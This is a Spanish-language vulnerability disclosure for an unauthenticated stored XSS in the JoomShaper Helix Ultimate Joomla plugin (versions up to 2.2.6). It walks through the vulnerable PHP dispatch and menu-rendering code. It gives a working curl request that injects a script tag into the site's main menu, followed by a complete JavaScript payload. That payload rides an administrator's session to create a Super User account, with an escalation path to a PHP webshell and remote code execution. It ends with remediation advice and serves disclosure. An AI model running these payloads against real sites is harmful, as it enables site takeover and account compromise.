
XSS almacenado no autenticado en Joomla Helix Ultimate (JoomShaper) <= 2.2.6
Este es el hallazgo más fuerte en esta carpeta de investigación — CRÍTICO, completamente confirmado de principio a fin. A diferencia del error solo de eliminación en helix_ultimate_delete_poc.md, este tiene un camino real y funcional hacia el compromiso total del sitio.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + plantilla shaper_helixultimate)
Versión probada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() es un manejador de eventos estándar del plugin de Joomla (). El componente central de Joomla no impone — esa es siempre responsabilidad del plugin. Este manejador realiza un despacho arbitrario de métodos estáticos:
com_ajaxindex.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>com_ajaxpublic function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
El namespace está hardcodeado (HelixUltimate\Framework\HttpResponse\), por lo que esto no es un gadget RCE totalmente arbitrario por sí mismo — pero cada método estático público en src/HttpResponse/Response.php se vuelve invocable por cualquiera, sin autenticación, con cero token CSRF. Ninguno de ellos llama a Session::checkToken() o authorise(). Este es un punto de entrada completamente diferente y separado de la clase Request/Platform restringida por administrador cubierta en el informe de eliminación — com_ajax evita esa restricción por completo.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
Esto escribe JSON controlado por el atacante directamente en la columna params de un elemento de menú de Joomla activo y público — sin inicio de sesión, sin token CSRF, una sola solicitud HTTP.
overrides/mod_menu/default.php (código de plantilla real, incluido en la distribución)El html/mod_menu/default.php real de la plantilla distribuida shaper_helixultimate es un shim de 1 línea:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
que resuelve (verificado leyendo HTMLOverride.php) a plugins/system/helixultimate/overrides/mod_menu/default.php — el archivo que realmente renderiza el menú de navegación principal del sitio en cada página, para cada visitante:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — una clave que controlamos completamente mediante saveMegaMenuSettings() — se concatena directamente en un atributo HTML sin htmlspecialchars().
shaper_helixultimate + plugin 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
No se envió ningún campo de token CSRF — ni siquiera el token trivial extraído de la página de inicio que el error de eliminación necesitaba.
HTML resultante servido a cada visitante posterior de la página de inicio:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
Una etiqueta <script> ejecutable en el navegador, inyectada sin autenticación, renderizada en la página más visitada del sitio (la navegación principal, presente en cada página a través de la posición del módulo, no solo en la página de inicio).
Este es exactamente el escenario que la carpeta CVE-2026-48909 estaba persiguiendo originalmente, alcanzado desde un ángulo completamente diferente: XSS almacenado no autenticado + session-riding = toma de cuenta, sin necesidad de robar una contraseña o forzar el instalador.
Cualquier Administrador que abra la página de inicio del sitio público en el mismo navegador donde está (o recientemente estuvo) autenticado en /administrator ejecutará JavaScript del atacante con la cookie jar de su navegador intacta. Payload de concepto (no ejecutado contra una sesión de administrador real en este laboratorio — este laboratorio no tiene automatización de navegador configurada para simular un administrador autenticado visitando la página; la entrega del XSS está 100% confirmada arriba, este es el siguiente paso estándar bien entendido):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Debido a que el navegador adjunta cualquier cookie de sesión que tenga para el origen del sitio a cualquier solicitud del mismo origen — independientemente de qué pestaña o página desencadenó el JavaScript — esto tiene éxito siempre que la cookie de sesión del backend del administrador sea válida en ese navegador en el momento en que se ve la página frontal. Esto crea una nueva cuenta de Super Usuario con credenciales elegidas por el atacante. A partir de ahí: iniciar sesión en /administrator, editar cualquier archivo de plantilla (o instalar uno nuevo) para agregar un webshell PHP → RCE completo.
Por qué esto es más fuerte que el error de eliminación: no aplica ninguna limitación de escritura de contenido — esta primitiva escribe datos (JSON en una columna de base de datos), no archivos, pero esos datos se renderizan como HTML vivo en cada vista de página, que es exactamente la primitiva de "escritura" que faltaba en el error de eliminación. Combinado con el patrón estándar de XSS→session-riding, cierra el bucle que el error de eliminación no pudo.
helix_ultimate_xss_detect.pyNo destructivo-ish: escribe una cadena marcadora inerte e inofensiva (sin <script>, sin comillas) en customclass y verifica si vuelve sin escapar en el HTML renderizado de la página de inicio. Restaura/limpia el valor después.
helix_ultimate_xss_poc.pyEscribe un payload XSS <script> real (predeterminado: una prueba alert() inofensiva, o un payload personalizado mediante --payload) en el customclass de un elemento de menú elegido, verifica que se renderice sin escapar, e imprime el payload conceptual de ATO/session-riding anterior. Usar solo con autorización por escrito — esto modifica datos en vivo del sitio (el diseño guardado del elemento de menú) hasta que se limpie manualmente.
onAjaxHelixultimate() no debe despachar ciegamente a métodos arbitrarios en HttpResponse\Response sin una verificación de permisos — como mínimo requerir una sesión de Joomla válida + Session::checkToken() antes de permitir cualquier tarea que cambie el estado (guardado de menú, lista de módulos, métodos del constructor de mega-menús).overrides/mod_menu/default.php (y cualquier otra sobreescritura que lea helixultimatemenulayout/customclass) debe aplicar htmlspecialchars() (o el HTMLHelper::_('esc.html', ...) de Joomla) a cualquier valor extraído de los parámetros del elemento de menú antes de imprimirlo en atributos HTML — defensa en profundidad, ya que los parámetros del menú técnicamente están destinados a ser datos solo de administrador pero claramente son alcanzables por más que eso aquí.Amin İsayev / Proxima Cyber Security — 2026. Solo uso educativo / pruebas autorizadas.